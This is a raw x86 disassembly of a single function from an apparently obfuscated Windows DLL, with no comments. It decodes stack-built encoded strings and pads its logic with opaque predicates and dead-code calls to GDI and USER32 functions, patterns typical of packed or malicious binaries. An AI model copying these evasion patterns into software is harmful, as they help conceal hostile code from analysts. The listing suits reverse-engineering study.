mov dword [ebp - 0x462], 0x1a840591
mov dword [ebp - 0x45e], 0x25750f87
mov dword [ebp - 0x45a], 0x24991531
mov dword [ebp - 0x456], 0x2c912e69
mov word [ebp - 0x452], 0x1da1
mov byte [ebp - 0x450], 0x72
mov dword [ebp - 0x44e], 0x10aa1ea1
mov dword [ebp - 0x44a], 0xc4226a9
mov dword [ebp - 0x446], 0x218d0145
mov dword [ebp - 0x442], 0x2a4a27ae
mov dword [ebp - 0x43e], 0xdb80ab6
mov dword [ebp - 0x43a], 0x2bb21150
mov dword [ebp - 0x436], 0x1fb520b0
mov dword [ebp - 0x432], 0x1cba19c3
mov byte [ebp - 0x42e], 0x75
mov word [ebp - 0x42c], 0x22c1
mov byte [ebp - 0x42a], 0xc9
mov byte [ebp - 0x429], al
mov dword [ebp - 0x428], 0x3c91279
mov word [ebp - 0x424], 0x6c6
mov byte [ebp - 0x422], 0xc8
cmp ecx, 2
jne 0x100ee706
push 0x13
pop esi
push esi
pop ecx
jmp 0x100ee739
movzx eax, byte [ebp + ecx - 0x493]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ee729
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x494]
mov word [ebp + eax*2 - 0x21f4], dx
add ecx, 2
cmp ecx, 0x73
jb 0x100ee6fa
xor eax, eax
mov word [ebp - 0x2194], ax
mov dword [ebp - 0x1c], 0x4fd3df75
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x1c], 0xffffffee
jmp 0x100ee796
mov byte [ebp - 0x15], 0
cmp byte [ebp - 0x15], 0
je 0x100ee781
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
mov byte [ebp - 0x15], 0
cmp byte [ebp - 0x15], 0
je 0x100ee793
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff4
jl 0x100ee761
lea eax, [ebp - 0x21f4]
push eax
lea ecx, [ebp - 0x1d3c]
call fcn.100140d4
push 0x18
pop ecx
mov byte [ebp - 4], cl
mov edx, eax
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push 0
push 1
lea ecx, [ebp - 0x1d3c]
mov byte [ebp - 4], 1
call fcn.10014706
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x2c], 0x8d06721f
mov dword [ebp - 0x2c], 0x3dec995f
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x1c], eax
jmp 0x100ee80e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8ec], 0x38a1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100ee7fd
mov eax, dword [ebp - 0x8ec]
xor edx, edx
cmp eax, 2
mov eax, dword [ebp - 0x8ec]
setle dl
xor ecx, ecx
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
je 0x100ee869
cmp dword [ebp - 0x24], edx
jne 0x100ee850
cmp dword [ebp - 0x30], edx
jne 0x100ee850
mov ecx, edx
jmp 0x100ee853
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x24]
imul eax, ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
je 0x100ee869
xor eax, eax
inc eax
jmp 0x100ee86b
mov eax, edx
mov dword [ebp - 0x2c], eax
lea edi, [ebp - 0x21f4]
mov eax, dword [ebp - 0x2c]
mov ecx, 0xdd44
imul eax, dword [ebp - 0x8ec]
push 0x18
sub ecx, eax
mov eax, dword [ebp - 0x8ec]
sub ecx, eax
mov eax, dword [ebp - 0x30]
sub ecx, eax
mov dword [ebp - 0x2c], ecx
mov ecx, 0x9e177c42
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0xfff8
pop eax
setne cl
mov dword [ebp - 0x2c], ecx
mov ecx, eax
xor eax, eax
rep stosd dword es:[edi], eax
push 1
lea ecx, [ebp - 0x8e4]
stosw word es:[edi], ax
call fcn.100141a5
mov dword [ebp - 0x20], 0xfffffffe
xor edx, edx
mov dword [ebp - 0x28], 0xfffffffb
mov dword [ebp - 0x1c], edx
jmp 0x100ee8f0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x8e4]
mov dword [eax + ecx*4], 8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x100ee8dd
mov dword [ebp - 0x20], edx
jmp 0x100ee963
mov dword [ebp - 0x1c], 0xfe77dd68
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], edx
jl 0x100ee960
mov eax, dword [ebp - 0x8e4]
cmp dword [eax], edx
jne 0x100ee91d
cmp dword [ebp - 0x1c], edx
jne 0x100ee91d
mov ecx, edx
jmp 0x100ee920
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x1c]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
cmp eax, 0xffffffff
jl 0x100ee941
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x8e4]
cmp dword [eax + ecx*4], edx
jne 0x100ee941
mov esi, edx
jmp 0x100ee944
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x8e4]
push 0
cmp dword [eax + ecx*4], esi
sete dl
mov dword [ebp - 0x28], edx
dec dword [ebp - 0x1c]
pop edx
jns 0x100ee90a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jle 0x100ee8fb
mov dword [ebp - 0x28], edx
jmp 0x100eea93
mov dword [ebp - 0x14], 0x8ecb302
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x24], 0x373c9468
mov dword [ebp - 0x20], edx
jmp 0x100ee9e8
push 4
pop eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
je 0x100ee9b6
mov byte [ebp - 0x15], dl
cmp byte [ebp - 0x15], 0
je 0x100ee9e5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
jmp 0x100ee9e3
mov dword [ebp - 0x2c], 0xd0c11e04
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x15], dl
cmp byte [ebp - 0x15], 0
je 0x100ee9e5
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
xor edx, edx
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffeb
jne 0x100ee98a
mov dword [ebp - 0x14], edx
jmp 0x100eea87
mov dword [ebp - 0x2c], 0xacb2
mov dword [ebp - 0x1c], edx
jmp 0x100eea13
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1bb0], 0xcbde6b78
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100eea02
mov dword [ebp - 0x20], edx
jmp 0x100eea7f
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x2c], edx
jge 0x100eea32
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x8e4]
mov eax, dword [ebp - 0x2c]
cmp dword [ecx + esi*4], eax
setge dl
cmp edx, dword [ebp - 0x30]
je 0x100eea5e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8e4]
cmp dword [eax + ecx*4], 0
jne 0x100eea5e
xor eax, eax
jmp 0x100eea61
xor eax, eax
inc eax
mov dword [ebp - 0x1bb0], eax
xor edx, edx
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setge dl
mov dword [ebp - 0x24], edx
inc dword [ebp - 0x20]
xor edx, edx
cmp dword [ebp - 0x20], edx
jle 0x100eea1e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jle 0x100ee9f6
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff5
jg 0x100ee970
lea ecx, [ebp - 0x8e4]
call fcn.100147a9
mov edx, dword [ebp - 0x38]
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push 4
pop eax
push 9
mov byte [ebp - 0x6c2], al
xor ebx, ebx
pop eax
push 7
mov byte [ebp - 0x6bc], al
mov ecx, ebx
pop eax
push 0x3c
mov byte [ebp - 0x68a], al
mov esi, ebx
pop eax
push 0x18
mov byte [ebp - 0x688], al
pop eax
mov dword [ebp - 0x6cc], 0x3f336d3d
mov dword [ebp - 0x6c8], 0x5c023434
mov word [ebp - 0x6c4], 0x120b
mov dword [ebp - 0x6c1], 0x4d7d4870
mov byte [ebp - 0x6bd], 0x19
mov dword [ebp - 0x6bb], 0x3581451b
mov dword [ebp - 0x6b7], 0x40530c65
mov dword [ebp - 0x6b3], 0x20243255
mov dword [ebp - 0x6af], 0x13841a86
mov dword [ebp - 0x6ab], 0xa614c86
mov dword [ebp - 0x6a7], 0x390372e
mov dword [ebp - 0x6a3], 0x179e4b9c
mov dword [ebp - 0x69f], 0x2b942c96
mov dword [ebp - 0x69b], 0x2a85287d
mov dword [ebp - 0x697], 0x119822a3
mov dword [ebp - 0x693], 0x1fa3199e
mov dword [ebp - 0x68f], 0x29b1369e
mov byte [ebp - 0x68b], 0xb6
mov byte [ebp - 0x689], 0xa7
mov dword [ebp - 0x687], 0x10b314a6
mov dword [ebp - 0x683], 0x478c1d95
mov dword [ebp - 0x67f], 0x58b26b6
mov dword [ebp - 0x67b], 0x2db449c3
mov dword [ebp - 0x677], 0x2ec50fcb
mov dword [ebp - 0x673], 0x3a653fbe
mov dword [ebp - 0x66f], 0xed51ec6
mov dword [ebp - 0x66b], 0x3bcf4ad6
mov dword [ebp - 0x667], 0x41d32fd5
mov dword [ebp - 0x663], 0x39bb4298
mov dword [ebp - 0x65f], 0x8db24d0
mov dword [ebp - 0x65b], 0x46df21af
mov dword [ebp - 0x657], 0x23ed12d8
mov dword [ebp - 0x653], 0xbb93edb
mov dword [ebp - 0x64f], 0x3e1d9e2a
mov dword [ebp - 0x64b], 0xa311be72
mov dword [ebp - 0x647], 0xb900a5bf
mov dword [ebp - 0x643], 0xef38d10d
mov dword [ebp - 0x63f], 0xea25c115
mov dword [ebp - 0x63b], 0xfc1bc530
mov dword [ebp - 0x637], 0x11cf444
mov dword [ebp - 0x633], 0xd9160143
mov dword [ebp - 0x62f], 0xc427dc06
mov word [ebp - 0x62b], 0xc601
mov byte [ebp - 0x629], al
mov word [ebp - 0x628], 0x3100
mov byte [ebp - 0x626], 0xa5
cmp ecx, 0x7c
jne 0x100eeca9
push 0xb
pop esi
add ecx, 9
jmp 0x100eecdc
movzx eax, byte [ebp + ecx - 0x6cb]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100eeccc
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x6cc]
mov word [ebp + eax*2 - 0x2414], dx
add ecx, 2
cmp ecx, 0xa7
jb 0x100eec9c
xor eax, eax
lea ecx, [ebp - 0x1e74]
mov word [ebp - 0x2378], ax
lea eax, [ebp - 0x2414]
push eax
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1e74]
mov byte [ebp - 4], 1
call fcn.10014706
push 2
lea ecx, [ebp - 0x50]
call fcn.100141a5
lea ecx, [ebp - 0x1b7c]
mov byte [ebp - 4], 0x1a
movdqa xmm0, xmmword [0x1000f170]
lea eax, [ebp - 0x1b6c]
push ecx
push eax
push ecx
mov dword [ebp - 0x20], 5
lea ecx, [ebp - 0x948]
movdqu xmmword [ebp - 0x1b7c], xmm0
call fcn.100141e1
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x2c], 0xcb415c85
mov dword [ebp - 0x1c], 0x205443ef
mov dword [ebp - 0x34], 0x98d2902
mov dword [ebp - 0x30], ebx
jmp 0x100eed8f
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x50]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x100eed82
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 1
jg 0x100ef0b7
mov edi, dword [ebp - 0x50]
mov ebx, dword [ebp - 0x948]
push 3
lea ecx, [ebp - 0x930]
call fcn.100141a5
mov dword [ebp - 0x28], 0x418e8dce
xor edx, edx
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x24], 0x6516035e
push 3
pop eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], eax
jge 0x100eee00
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x930]
mov dword [eax + ecx*4], 0x9a70
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100eede7
push 4
mov dword [ebp - 0x14], edx
pop ecx
jmp 0x100eee19
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x914], 0x119
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100eee08
mov byte [ebp - 0x15], dl
cmp byte [ebp - 0x15], dl
je 0x100eee70
push edx
push 0x2232
push 0x139e
push 0xf0
push 0x1ba8
push 0x1e35
push 0x2188
push 0x2337
push 0x2665
push 0xca5
push 0xdf
push 0x165e
push 0x26cd
push 0x250d
call dword [sym.imp.GDI32.dll_CreateFontA]
xor edx, edx
cmp dword [edi + 4], edx
je 0x100eee83
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x50]
cmp dword [eax + ecx*4], edx
je 0x100eee83
xor edx, edx
inc edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x50]
sub edx, dword [eax + ecx*4]
cmp edx, 0x8940
jge 0x100eeea4
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x50]
cmp dword [eax + ecx*4], 0
jne 0x100eeea4
xor ecx, ecx
jmp 0x100eeea7
xor ecx, ecx
inc ecx
mov esi, dword [ebp - 0x930]
mov eax, dword [esi + 8]
add eax, ecx
mov ecx, dword [edi + 4]
neg eax
sbb eax, eax
neg eax
add eax, ecx
jne 0x100eeec7
test ecx, ecx
jne 0x100eeec7
xor edx, edx
jmp 0x100eeeca
xor edx, edx
inc edx
mov eax, dword [ebp - 0x908]
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, 0x3633
jl 0x100eeee2
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x908]
mov ecx, 0xdec53312
mov eax, dword [ebp - 0x50]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x914]
imul eax, ecx
cmp eax, 0xe3c4
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xffff
sete cl
cmp eax, ecx
sbb eax, eax
xor edx, edx
neg eax
cmp eax, dword [edi + 4]
mov eax, dword [ebp - 0x908]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x30]
sub ecx, dword [edi + 4]
mov eax, dword [ebp - 0x50]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x90c]
mov eax, dword [ebp - 0x50]
mov dword [ebx + 0xc], ecx
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x50]
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x20]
setg dl
sub edx, eax
cmp edx, dword [ebp - 0x908]
jl 0x100eef87
xor edx, edx
cmp dword [ebx + 0xc], edx
je 0x100eef89
mov eax, dword [ebp - 0x930]
cmp dword [eax], edx
je 0x100eef89
xor ecx, ecx
inc ecx
jmp 0x100eef8b
xor edx, edx
mov ecx, edx
add ecx, 0x8781562e
sub ecx, dword [esi + 8]
neg ecx
sbb ecx, ecx
xor eax, eax
inc eax
inc ecx
sub eax, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x50]
cmp dword [eax], edx
je 0x100ef03b
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x30], edx
jmp 0x100eefd2
cmp dword [ebp - 0x30], 3
jl 0x100eefc1
mov dword [ebp - 0x1c], edx
jmp 0x100ef048
cmp dword [ebp - 0x1c], 1
jle 0x100ef040
mov eax, dword [ebp - 0x50]
cmp dword [eax + 4], ebx
jne 0x100ef0f0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jne 0x100ef0db
mov eax, dword [ebp - 0x948]
cmp dword [eax + 8], ebx
je 0x100ef0db
xor ecx, ecx
inc ecx
jmp 0x100ef0dd
mov ecx, ebx
mov eax, dword [ebp - 0x50]
mov dword [eax], ebx
mov eax, dword [ebp - 0x34]
imul eax, ecx
test eax, eax
jle 0x100ef0f0
mov ecx, ebx
jmp 0x100ef0f3
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x948]
mov eax, dword [eax + 0xc]
add ecx, eax
imul ecx, eax
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x948]
call fcn.100147a9
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 1
call fcn.100147a9
push 0x27
pop ecx
xor eax, eax
mov dword [ebp - 0x50c], 0xd23301a
lea edi, [ebp - 0x2414]
mov dword [ebp - 0x508], 0x4c1b792b
rep stosd dword es:[edi], eax
push 7
mov dword [ebp - 0x504], 0x6c0f7e17
mov esi, ebx
mov dword [ebp - 0x500], 0x81167b1c
mov edx, ebx
stosw word es:[edi], ax
pop eax
push 4
mov byte [ebp - 0x4fc], al
pop eax
push 9
mov byte [ebp - 0x4f6], al
pop eax
push 0x18
mov byte [ebp - 0x4e8], al
pop eax
mov dword [ebp - 0x4fb], 0x39660178
mov byte [ebp - 0x4f7], 0x65
mov dword [ebp - 0x4f5], 0x2a6d3a8b
mov dword [ebp - 0x4f1], 0x14863490
mov dword [ebp - 0x4ed], 0xb2a245d
mov byte [ebp - 0x4e9], 0x2c
mov dword [ebp - 0x4e7], 0x119b3763
mov dword [ebp - 0x4e3], 0x2983195
mov dword [ebp - 0x4df], 0x5922992
mov dword [ebp - 0x4db], 0x13a12e9a
mov dword [ebp - 0x4d7], 0x84b0299
mov dword [ebp - 0x4d3], 0x339e28aa
mov dword [ebp - 0x4cf], 0xaa91f87
mov dword [ebp - 0x4cb], 0x38a21d49
mov dword [ebp - 0x4c7], 0x26832281
mov dword [ebp - 0x4c3], 0xead218c
mov dword [ebp - 0x4bf], 0x32890cb9
mov dword [ebp - 0x4bb], 0x35b31eb4
mov dword [ebp - 0x4b7], 0x19cd27c0
mov dword [ebp - 0x4b3], 0x10cd1593
mov dword [ebp - 0x4af], 0x36c62cbd
mov byte [ebp - 0x4ab], 0xc8
mov byte [ebp - 0x4aa], al
mov dword [ebp - 0x4a9], 0xdd22dc6
mov dword [ebp - 0x4a5], 0x2fcc12aa
mov dword [ebp - 0x4a1], 0x30a700bd
mov dword [ebp - 0x49d], 0x6d420d6
mov dword [ebp - 0x499], 0x25e703df
mov byte [ebp - 0x495], 0xb1
cmp edx, 0x36
jne 0x100ef290
push 2
pop esi
jmp 0x100ef2c3
movzx eax, byte [ebp + edx - 0x50b]
lea ecx, [esi - 1]
sub eax, edx
add ecx, eax
jns 0x100ef2b3
or eax, 0xffffffff
sub eax, ecx
add ecx, 0x100
and eax, 0xffffff00
add ecx, eax
movzx eax, byte [ebp + edx - 0x50c]
mov word [ebp + eax*2 - 0x226c], cx
add edx, 2
cmp edx, 0x78
jb 0x100ef286
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x21f6], ax
inc ecx
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], 0xc4b7c700
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x14], ebx
jmp 0x100ef301
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x70], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100ef2f3
mov dword [ebp - 0x14], ebx
jmp 0x100ef31d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9a8], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100ef30c
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x6c]
inc dword [ebp - 0x6c]
cmp eax, ecx
mov eax, ecx
mov ecx, dword [ebp - 0x20]
cmovge eax, ebx
imul ecx, eax
sub ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor eax, eax
add ecx, 9
cmp ecx, 0x11a796d4
setle al
xor edx, edx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setg dl
imul eax, edx, 0xccd2
test eax, eax
jne 0x100ef371
cmp dword [ebp - 0x28], ebx
jne 0x100ef371
mov ecx, ebx
jmp 0x100ef374
xor ecx, ecx
inc ecx
mov ebx, dword [sym.imp.GDI32.dll_BitBlt]
xor eax, eax
cmp ecx, 0xdf04
mov esi, 0xe695
setge al
xor ecx, ecx
sub eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
setl cl
cmp ecx, 0xc519
jne 0x100ef42e
mov eax, 0xffff
lea ecx, [ebp - 0x990]
push 4
mov dword [ebp - 0x2c], eax
pop eax
push eax
call fcn.100141a5
push 4
mov dword [ebp - 0x34], 0x8bd2e84c
mov dword [ebp - 0x24], 0
pop edx
jmp 0x100ef3e2
mov dword [ebp - 0xa38], esi
mov dword [ebp - 0xa34], esi
mov dword [ebp - 0xa30], esi
mov dword [ebp - 0xa2c], esi
mov dword [ebp - 0x14], 0x4f8a3d35
mov dword [ebp - 0x2c], 0x92edcddc
mov dword [ebp - 0x34], 0x88b32a1b
mov byte [ebp - 0x15], 0
cmp byte [ebp - 0x15], 0
je 0x100ef4a2
push eax
push 1
lea ecx, [ebp + 0x18]
call fcn.10014706
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret